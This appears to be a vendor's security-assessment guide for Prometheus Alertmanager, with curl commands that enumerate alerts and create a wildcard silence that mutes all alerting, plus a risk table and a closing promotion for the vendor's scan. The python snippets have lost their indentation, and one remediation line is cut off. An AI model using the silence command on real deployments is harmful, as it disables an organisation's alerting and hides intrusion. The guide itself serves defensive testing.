Prometheus Alertmanager handles alert routing and notification for the most widely deployed monitoring stack in cloud-native infrastructure. Its unauthenticated API makes it a significant security risk when exposed beyond its intended network: Alertmanager's REST API and web UI on port 9093 have no authentication by default — any network client can view all active alerts and their label metadata revealing system topology, create silences that suppress all production alert notifications for an arbitrary duration (allowing attackers to operate undetected by disabling the organization's alerting system), delete existing silences and receivers, and reload configuration; the /-/reload endpoint accepts a POST request without authentication to reload routing configuration from disk; webhook receivers cause Alertmanager to make outbound POST requests to configured URLs — if webhook URL configuration is modifiable, this enables SSRF; and Alertmanager's cluster gossip port (9094/TCP and UDP) exposes the cluster membership protocol. This guide covers systematic Alertmanager security assessment.
# Prometheus Alertmanager default port: 9093
# API prefix: /-/healthy, /-/ready, /api/v2/
# Check Alertmanager health (no auth required)
curl -s http://alertmanager.example.com:9093/-/healthy 2>/dev/null
# Returns: OK
# Get Alertmanager version
curl -s http://alertmanager.example.com:9093/api/v2/status 2>/dev/null | \
python3 -c "
import json,sys
data = json.load(sys.stdin)
config = data.get('config', {})
version = data.get('versionInfo', {})
print(f\"Version: {version.get('version','?')}\")
print(f\"Cluster status: {data.get('cluster',{}).get('status','?')}\")
" 2>/dev/null
# Critical attack: create a silence that suppresses ALL alerts
# This allows attackers to work undetected by disabling the alerting system
# Get current active alerts to understand what's being monitored
curl -s "http://alertmanager.example.com:9093/api/v2/alerts" 2>/dev/null | \
python3 -c "
import json,sys
alerts = json.load(sys.stdin)
print(f'Active alerts: {len(alerts)}')
for a in alerts[:5]:
labels = a.get('labels', {})
print(f\" Alert: {labels.get('alertname','?')} severity={labels.get('severity','?')}\")
print(f\" Instance: {labels.get('instance','?')}\")
" 2>/dev/null
# Create a silence that suppresses all alerts with ANY label (wildcard match)
# This is a demonstration — in an authorized test, confirm scope first
CREATED_BY="security-test"
COMMENT="authorized-pentest-silence"
START=$(python3 -c "from datetime import datetime, timezone; print(datetime.now(timezone.utc).strftime('%Y-%m-%dT%H:%M:%S.000Z'))")
END=$(python3 -c "from datetime import datetime, timezone, timedelta; print((datetime.now(timezone.utc)+timedelta(minutes=5)).strftime('%Y-%m-%dT%H:%M:%S.000Z'))")
curl -s -X POST "http://alertmanager.example.com:9093/api/v2/silences" \
-H "Content-Type: application/json" \
-d "{
\"matchers\": [{\"name\": \"alertname\", \"value\": \".*\", \"isRegex\": true}],
\"startsAt\": \"${START}\",
\"endsAt\": \"${END}\",
\"createdBy\": \"${CREATED_BY}\",
\"comment\": \"${COMMENT}\"
}" 2>/dev/null | python3 -c "
import json,sys
data = json.load(sys.stdin)
print(f'Silence ID: {data.get(\"silenceID\",\"failed\")}')
if data.get('silenceID'):
print('All alerts silenced — no notifications will fire for this window')
" 2>/dev/null
--web.config.file with a web config YAML specifying HTTP basic auth or TLS client certificate requirements; Alertmanager supports web server authentication natively since version 0.22| Security Test | Method | Risk |
|---|---|---|
| Alertmanager UI and API accessible without authentication | GET /api/v2/alerts without credentials — 200 with data means no auth configured | High |
| Active alert metadata reveals infrastructure topology | GET /api/v2/alerts — lists all alerts including instance names, IPs, service names, and severity | High |
| Silence creation suppresses all alert notifications | POST /api/v2/silences with wildcard matcher — disables all alerting for attacker-specified duration | Critical |
| Configuration reload via unauthenticated /-/reload | POST /-/reload — triggers Alertmanager to reload routing config from disk without authentication | Medium |
| Webhook receiver SSRF | Modify webhook URL in configuration to internal service endpoint — Alertmanager POST to internal target on each alert fire | High |
| Gossip port 9094 exposed | Connect to gossip port — enumerate cluster members; potential for cluster member injection | Medium |
Ironimo tests Prometheus Alertmanager deployments for unauthenticated REST API access exposing all active alert metadata and infrastructure topology, silence creation capability allowing attackers to suppress all production alert notifications and operate undetected, configuration reload via unauthenticated /-/reload endpoint, webhook receiver configuration enabling SSRF to internal network endpoints, Alertmanager gossip port 9094 exposure, and Alertmanager communicating without TLS in plaintext over the monitoring network.
Start free scan